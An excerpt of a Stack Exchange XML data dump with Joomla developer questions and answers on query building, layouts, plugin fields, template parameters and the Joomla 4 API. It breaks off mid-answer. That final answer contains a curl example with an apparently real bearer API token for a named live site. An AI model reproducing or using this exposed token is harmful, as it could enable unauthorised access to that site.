  <row Id="31522" PostTypeId="1" CreationDate="2021-09-13T06:22:19.100" Score="0" ViewCount="42" Body="&lt;p&gt;A customer of mine has a Joomla website with several forms. When submitting these forms an email is sent to my customer with the content. Unfortunately the preset values (&amp;quot;value if empty&amp;quot;) are sent as well. Is there a way to remove this values before the mail is sent? The data is processed after the mail and for now these preset values are removed by hand which is rather time consuming. Furthermore I'd like to replace all new lines in the values with spaces before sending the mail.&lt;/p&gt;&#xA;" OwnerUserId="15700" LastEditorUserId="12352" LastEditDate="2021-09-13T22:46:53.150" LastActivityDate="2021-09-13T22:46:53.150" Title="Manipulate values of form before sending" Tags="|joomla-3.x|form|emails|content-filtering|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31523" PostTypeId="2" ParentId="21139" CreationDate="2021-09-13T09:52:00.107" Score="0" Body="&lt;p&gt;Virtuemart has a setting named &amp;quot;&lt;strong&gt;Force canonical category&lt;/strong&gt;&amp;quot; within the product form. You are advised to use that setting, when a product belongs in more than 1 category.&#xA;This will actually add a &lt;a href=&quot;https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls&quot; rel=&quot;nofollow noreferrer&quot;&gt;canonical tag&lt;/a&gt; to your product pages, indicating the search engines which page to index.&lt;/p&gt;&#xA;&lt;p&gt;As for your js errors, please go to the Virtuemart Configuration &amp;gt; Templates and enable the setting:  &lt;em&gt;Use Joomla jQuery framework in FE&lt;/em&gt; . If this does not help, please address to your template developer.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2021-09-13T09:52:00.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31524" PostTypeId="1" AcceptedAnswerId="31526" CreationDate="2021-09-13T12:48:11.943" Score="1" ViewCount="302" Body="&lt;p&gt;I'm creating a custom search form in Joomla! to search articles from certain categories.&lt;/p&gt;&#xA;&lt;p&gt;Here is my query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = array('2', '12', '16');&#xA;$query&#xA;    -&amp;gt;select(array('id', 'title', 'catid'))&#xA;    -&amp;gt;from('#__content')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('title') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'), 'OR')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('introtext') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('catid') . ' IN (' . implode(',', $categories) . ')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried it this way too:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = array('2', '12', '16');&#xA;$query&#xA;    -&amp;gt;select(array('id', 'title', 'catid'))&#xA;    -&amp;gt;from('#__content')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('catid') . ' IN (' . implode(',', $categories) . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('title') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'), 'OR')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('introtext') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt; It's showing results from all categories instead of specified categories.&lt;/p&gt;&#xA;" OwnerUserId="11474" LastActivityDate="2021-09-13T14:50:26.210" Title="Database query with OR WHERE and AND WHERE not working" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31525" PostTypeId="2" ParentId="31524" CreationDate="2021-09-13T13:07:49.147" Score="0" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;orWhere($db-&amp;gt;quoteName('title') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2021-09-13T13:07:49.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31526" PostTypeId="2" ParentId="31524" CreationDate="2021-09-13T14:50:26.210" Score="2" Body="&lt;p&gt;Use &lt;code&gt;extendWhere()&lt;/code&gt; method with &lt;code&gt;AND&lt;/code&gt; as outer glue and &lt;code&gt;OR&lt;/code&gt; as inner glue:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('catid') . ' IN (' . implode(',', $categories) . ')')&#xA;    -&amp;gt;extendWhere(&#xA;        'AND',&#xA;        [&#xA;            $db-&amp;gt;quoteName('title') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'),&#xA;            $db-&amp;gt;quoteName('introtext') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'),&#xA;        ],&#xA;        'OR'&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or the shorthand &lt;code&gt;andWhere()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('catid') . ' IN (' . implode(',', $categories) . ')')&#xA;    -&amp;gt;andWhere(&#xA;        [&#xA;            $db-&amp;gt;quoteName('title') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'),&#xA;            $db-&amp;gt;quoteName('introtext') . ' LIKE ' . $db-&amp;gt;quote('%' . $searchterm . '%'),&#xA;        ]&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The resulting query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id,title,catid&#xA;FROM #__content&#xA;WHERE &#xA;(`catid` IN (2,12,16)) AND &#xA;(`title` LIKE '%searchterm%' OR `introtext` LIKE '%searchterm%')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: to use these methods there must be at least one &lt;code&gt;where()&lt;/code&gt; call made before.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-13T14:50:26.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31527" PostTypeId="1" CreationDate="2021-09-13T19:16:15.080" Score="0" ViewCount="23" Body="&lt;p&gt;On my volunteering website, users can edit their profile and enter a date in the future when they are available to volunteer. If they are already signed up for a volunteer opportunity, they shouldn't be able to change the dates they are available until they have fulfilled their assignment. I am using CB Query Validation to check if they have a current assignment when they change their date. The validation is working - that is, it is showing the error message when they change the date but shouldn't be changing it. But it still allows them to save the profile edit with the new date. Is there a way to disable the SAVE button if the error shows?&lt;/p&gt;&#xA;" OwnerUserId="15701" LastActivityDate="2021-09-13T19:16:15.080" Title="How do I get Edit Profile to not save with invalid date input on Joomla Community Builder" Tags="|sql|community-builder|validation|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31529" PostTypeId="1" CreationDate="2021-09-14T11:42:43.127" Score="1" ViewCount="45" Body="&lt;p&gt;In a complex component, there will be a number of /views/viewname/tmpl/default.php (or similar) files. It is quite likely that different views will share common features. Duplicating code is generally a bad thing, to be avoided. What is the best way to share code between different templates? Still allowing for overrides of the shared code?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2021-09-14T12:21:06.700" Title="Share code between component templates" Tags="|joomla-3.x|component|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31530" PostTypeId="2" ParentId="31529" CreationDate="2021-09-14T12:20:32.367" Score="2" Body="&lt;p&gt;Joomla Layouts can be used to share common parts of a View between multiple files. A search and some reading on Layouts will mostly be around how to override the Layouts and from a modifying the template point of view but if you look through some of the core components in the /layout directories you can get an idea of how to use them in the Views of your components.&lt;/p&gt;&#xA;&lt;p&gt;Some reading to get you going, &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://phproberto.com/en/13-jlayout-improvements-for-joomla-3-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://phproberto.com/en/13-jlayout-improvements-for-joomla-3-2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-09-14T12:20:32.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31531" PostTypeId="2" ParentId="31529" CreationDate="2021-09-14T12:21:06.700" Score="2" Body="&lt;p&gt;Some time ago, I invented a snippet system for my component which lives in the /tmpl/ folder. I can reuse those snippets and users can still override them using plain old template overrides.&lt;/p&gt;&#xA;&lt;p&gt;Joomla has something which is similar/better: Layouts. I would send you in this direction.&lt;/p&gt;&#xA;&lt;p&gt;Here are some examples in the Joomla repository: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/4.0-dev/layouts&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/4.0-dev/layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2021-09-14T12:21:06.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31532" PostTypeId="1" AcceptedAnswerId="31533" CreationDate="2021-09-15T05:19:40.290" Score="2" ViewCount="98" Body="&lt;p&gt;I would like to display some basic text, instructions and maybe a change log in HTML would be nice, under the first tab of my Plugin, what methods or techniques are available?&lt;/p&gt;&#xA;&lt;p&gt;In my sample screen shot below you can see a crude attempt I have tried using a field with a &lt;code&gt;type=&amp;quot;textarea&amp;quot;&lt;/code&gt; and the &lt;code&gt;default=&amp;quot;some html and stuff&amp;quot;&lt;/code&gt; but it is very limited.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xcF55.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xcF55.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have looked at RegularLab's plugins and they appear to define fields with a placeholder or tag that I suspect gets replaced with its own information before it is displayed, which is what I would like to do however the RL approach seems to be require a lot of infrastructure behind it which is overkill for my plugins.&lt;/p&gt;&#xA;&lt;p&gt;I vaguely recall seeing a more static approach to achieve the result I am after but I can't  remember where.&lt;/p&gt;&#xA;&lt;p&gt;I haven't found anything in searching around so I am looking for some pointers on how to create it or even suggestions for other Plugins or Modules that display more than the basic fields that I can go and look at.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-09-15T06:16:05.527" LastActivityDate="2021-09-15T06:16:05.527" Title="Display instructions or other text in Plugin" Tags="|joomla-3.x|module|plugin|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31533" PostTypeId="2" ParentId="31532" CreationDate="2021-09-15T05:48:24.813" Score="3" Body="&lt;p&gt;Note field can be used for this. HTML is supported.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;instructions&amp;quot;&#xA;    type=&amp;quot;note&amp;quot;&#xA;    label=&amp;quot;PLG_SYSTEM_MULTIACCOUNT_FIELD_INSTRUCTIONS_LABEL&amp;quot;&#xA;    description=&amp;quot;PLG_SYSTEM_MULTIACCOUNT_FIELD_INSTRUCTIONS_DESCRIPTION&amp;quot;&#xA;    filter=&amp;quot;unset&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Resulting output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fLvVU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fLvVU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-15T05:48:24.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31534" PostTypeId="2" ParentId="21757" CreationDate="2021-09-16T00:12:57.617" Score="1" Body="&lt;p&gt;If you just need plugins to run on the &lt;code&gt;fulltext&lt;/code&gt; there is another way that may work for anyone else with this issue: go to the Article settings in the admin console and turn off the &amp;quot;Show Intro Text&amp;quot; setting. Then you can use this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;intro_text&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;full_text&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Note: above uses &lt;code&gt;text&lt;/code&gt; and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;fulltext&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;The content in the $this-&amp;gt;item-&amp;gt;text property will be passed through the plugins but you can still display introtext separately without it being duplicated.&#xA;It's slightly better this way because you're not running all the plugins twice (once on &lt;code&gt;text&lt;/code&gt; and then again when you call content.prepare on &lt;code&gt;fulltext&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="15709" LastActivityDate="2021-09-16T00:12:57.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31537" PostTypeId="1" CreationDate="2021-09-18T12:11:31.200" Score="1" ViewCount="401" Body="&lt;p&gt;The current Joomla implementation looks like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$moduleHelper-&amp;gt;getParams()-&amp;gt;get('paramName'); // don't remember this one perfectly&#xA;$app-&amp;gt;getTemplate(true)-&amp;gt;params-&amp;gt;get('paramName');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way I can get an array of all parameters? I need to get them in an array ready to filter based on certain specification, something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(array) $moduleHelper-&amp;gt;getParams()-&amp;gt;get('*');&#xA;(array) $app-&amp;gt;getTemplate(true)-&amp;gt;params-&amp;gt;get('*');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please let me know. Thanks&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-09-19T12:07:02.233" LastActivityDate="2021-09-19T12:32:12.333" Title="J4 Get an array of parameters from template/module" Tags="|php|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31538" PostTypeId="1" AcceptedAnswerId="31587" CreationDate="2021-09-18T13:54:11.793" Score="1" ViewCount="2303" Body="&lt;p&gt;How we can get the logged in user information and session information from external php script with Joomla-4.x?&lt;/p&gt;&#xA;&lt;p&gt;The below code working with Joomla 3.x and doesn't working with Joomla-4.x&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../..' ));&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$session = JFactory::getSession();&#xA;jimport( 'joomla.application.module.helper' );&#xA; &#xA;$session = $session-&amp;gt;getId();&#xA;$db = JFactory::getDbo();&#xA;$user =&amp;amp; JFactory::getUser();&#xA;$userid= $user-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15715" LastActivityDate="2022-04-08T09:50:48.110" Title="How to get user session info from external php script with Joomla-4.x?" Tags="|joomla-4.x|controller|joomla-framework|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31539" PostTypeId="2" ParentId="31537" CreationDate="2021-09-19T11:55:39.430" Score="0" Body="&lt;p&gt;I found &lt;a href=&quot;https://joomla.stackexchange.com/questions/9920/get-module-parameters-using-loop&quot;&gt;an answer&lt;/a&gt; that explains the nature of the parameters and came up with a solution:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$params = $app-&amp;gt;getTemplate(true)-&amp;gt;params;&#xA;&#xA;$array_vars = array();&#xA;foreach(json_decode($params, true) as $k =&amp;gt; $value) {&#xA;    if (strpos($k, 'my_setting_preffix_') !== false){&#xA;        $array_vars[$k] = $value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is now exactly what I needed and the perfect solution to filter the outcome on the spot.&lt;/p&gt;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-09-19T12:07:45.677" LastActivityDate="2021-09-19T12:07:45.677" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31540" PostTypeId="2" ParentId="31537" CreationDate="2021-09-19T12:32:12.333" Score="1" Body="&lt;p&gt;I would use field groups instead of prefixes to organize fields in the form. This way no additional code is needed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;logo&amp;quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;src&amp;quot;&#xA;            type=&amp;quot;media&amp;quot;&#xA;            default=&amp;quot;&amp;quot;&#xA;            label=&amp;quot;TPL_EXAMPLE_FIELD_LOGO_SRC_LABEL&amp;quot;&#xA;        /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;alt&amp;quot;&#xA;            type=&amp;quot;text&amp;quot;&#xA;            default=&amp;quot;&amp;quot;&#xA;            label=&amp;quot;TPL_EXAMPLE_FIELD_LOGO_ALT_LABEL&amp;quot;&#xA;        /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;colors&amp;quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To get an object containing all values from &lt;code&gt;logo&lt;/code&gt; group:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;get('logo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Specific fields can be accessed using dot separated notation:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;get('logo.src');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-19T12:32:12.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31541" PostTypeId="1" AcceptedAnswerId="31550" CreationDate="2021-09-20T18:55:58.690" Score="4" ViewCount="527" Body="&lt;p&gt;I've read what little I can find about J4 Web Services, but cannot find a working example or get my code to work.  The code below should work by all accounts, but I get forbidden on my local machine and not found on our web server.  There is no mention of how to be set up to use the API or much else to go on.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone else tried one of these API calls?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data = new stdClass();&#xA;$data-&amp;gt;alias = &amp;quot;my-article&amp;quot;;&#xA;$data-&amp;gt;articletext = &amp;quot;My text&amp;quot;;&#xA;$data-&amp;gt;catid = 11;&#xA;$data-&amp;gt;language = &amp;quot;*&amp;quot;;&#xA;$data-&amp;gt;metadesc = &amp;quot;metadesc&amp;quot;;&#xA;$data-&amp;gt;metakey = &amp;quot;metakey&amp;quot;;&#xA;$data-&amp;gt;title = &amp;quot;Here's an article&amp;quot;;&#xA;&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_URL, '  = 'http://localhost/myproject/api/index.php/v1/content/article -d';);&#xA;curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_POST, 1);&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));&#xA;&#xA;$result = curl_exec($ch);&#xA;if (curl_errno($ch)) {&#xA;    echo 'Error:' . curl_error($ch);&#xA;}&#xA;curl_close($ch);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;REturn: (I'm not knowingly using Watchguard anywhere on EC2 or Localhost)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;h3&amp;gt; Request denied by WatchGuard HTTP proxy. &amp;lt;/h3&amp;gt;&#xA;&amp;lt;b&amp;gt; Reason: &amp;lt;/b&amp;gt; request protocol version denied line='POST /api/index.php/v1/content/article -d HTTP/1.1\x0d\x0a' &amp;lt;br&amp;gt;&#xA;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&#xA;&amp;lt;b&amp;gt; Method: &amp;lt;/b&amp;gt; POST &amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt; Host: &amp;lt;/b&amp;gt; 168.156.127.75 &amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt; Path: &amp;lt;/b&amp;gt; /api/index.php/v1/content/article &amp;lt;br&amp;gt;&#xA;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Further attempts yield only errors, so apparently there is far more to getting this to work than just a CURL request.  However, the question itself was answered, so thank you for that :).  I don't know enough to ask without being too general, so will keep an eye out for someone that does.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//IETF//DTD HTML 2.0//EN&amp;quot;&amp;gt;&#xA;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Bad Request&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;Your browser sent a request that this server could not understand.&amp;lt;br /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2021-09-22T15:39:28.737" LastActivityDate="2021-09-22T15:39:28.737" Title="Is Joomla4 API/Web Service ready for production use?" Tags="|joomla-api|joomla-4.x|curl|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31542" PostTypeId="2" ParentId="18832" CreationDate="2021-09-21T00:06:46.383" Score="-1" Body="&lt;p&gt;This solution helped me to pass xml field data to class in helper.php.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function xyz(){&#xA;    $module = JModuleHelper::getModule('mod_name');&#xA;    $params = new JRegistry();&#xA;    $params-&amp;gt;loadString($module-&amp;gt;params);&#xA;    $xyz = $params-&amp;gt;get('xyz');&#xA;    return $xyz;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;mod_name -&amp;gt; this is the module name. Please replace this.&lt;/li&gt;&#xA;&lt;li&gt;$params-&amp;gt;get('xyz') -&amp;gt; this is the parameter found in module xml field. Please replace 'xyz'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13070" LastEditorUserId="13070" LastEditDate="2021-09-28T03:23:26.500" LastActivityDate="2021-09-28T03:23:26.500" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31543" PostTypeId="2" ParentId="31541" CreationDate="2021-09-21T16:25:49.123" Score="1" Body="&lt;p&gt;You should include a user token with a &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6750#page-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;bearer authentication header&lt;/a&gt;. You can get the token from your super admin account (Joomla API Token tab), given that the relevant plugin (User - Joomla API Token) is enabled.&lt;/p&gt;&#xA;&lt;p&gt;For the shake of simplicity you can try a curl tool like &lt;a href=&quot;https://www.postman.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;postman&lt;/a&gt; where all the headers can be added from a GUI.&lt;/p&gt;&#xA;&lt;p&gt;Also as mentioned by Sharky the endpoint is: &lt;code&gt;content/articles&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2021-09-21T16:25:49.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31548" PostTypeId="2" ParentId="30381" CreationDate="2021-09-22T02:14:08.990" Score="1" Body="&lt;p&gt;If 'configuration.php-dist' exists you have not installed Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Check here: &lt;a href=&quot;https://help.ubuntu.com/community/Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://help.ubuntu.com/community/Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For a Guide to Installing Joomla! on an Ubuntu Server.&lt;/p&gt;&#xA;&lt;p&gt;Change your apache2/sites-available/joomla.conf to {modify to your situation}:&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;VirtualHost 192.168.1.1 xxx.xx.xx.xx&amp;gt;&#xA;DocumentRoot &amp;quot;/www/server1&amp;quot;&#xA;ServerName server.example.com&#xA;ServerAlias server&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you continue to have issues, post them here.&lt;/p&gt;&#xA;" OwnerUserId="8913" LastEditorUserId="8913" LastEditDate="2021-09-23T01:20:55.603" LastActivityDate="2021-09-23T01:20:55.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31549" PostTypeId="1" AcceptedAnswerId="31553" CreationDate="2021-09-22T08:27:04.337" Score="0" ViewCount="179" Body="&lt;p&gt;Is it possible to show multiple components on a single page in joomla?&lt;/p&gt;&#xA;&lt;p&gt;I have 2 menu items, each one shows a different component, i want to show them both on the same page, is it possible?&lt;/p&gt;&#xA;" OwnerUserId="15712" LastEditorUserId="15712" LastEditDate="2021-09-22T09:32:50.763" LastActivityDate="2021-09-23T05:57:43.233" Title="Multiple components on a single page" Tags="|component|module|extensions|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31550" PostTypeId="2" ParentId="31541" CreationDate="2021-09-22T09:49:50.727" Score="4" Body="&lt;p&gt;You can download the full API collection here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/alexandreelise/j4x-api-collection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alexandreelise/j4x-api-collection&lt;/a&gt; thanks to Alexandre Elise.&lt;/p&gt;&#xA;&lt;p&gt;This will import directly into &lt;a href=&quot;https://www.postman.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Postman&lt;/a&gt; which will enable you to use the API simply by adding your key and URL to the collection.&lt;/p&gt;&#xA;&lt;h1&gt;To create a key you need to:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the plugins are enabled.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FQD1y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FQD1y.png&quot; alt=&quot;Joomla API Plugins&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your user has a token&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2xMnk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2xMnk.png&quot; alt=&quot;This is the tab&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Hit save.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jdCPE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jdCPE.png&quot; alt=&quot;API key after saving&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Copy the key and use that with your Bearer Token.&lt;/p&gt;&#xA;&lt;p&gt;If you use Postman and click on the code icon it gives you the cURL example.&lt;br /&gt;&#xA;You can also use the dropdown to change it to any other language too.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Haz3g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Haz3g.png&quot; alt=&quot;How to find the cURL example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --location --request POST 'https://lovelaserandskin.co.uk/dev/api/index.php/v1/content/article' \&#xA;--header 'Content-Type: application/json' \&#xA;--header 'Authorization: Bearer c2hhMjU2OjEyMToxZjFmNmMzNDRkMzkyMDhjYTUxMDVjNjRmMTJlODljMWM4NGJkODhmOTQ3ZmZhZTMyZTY5NzU3NzE0NTZkZmJi' 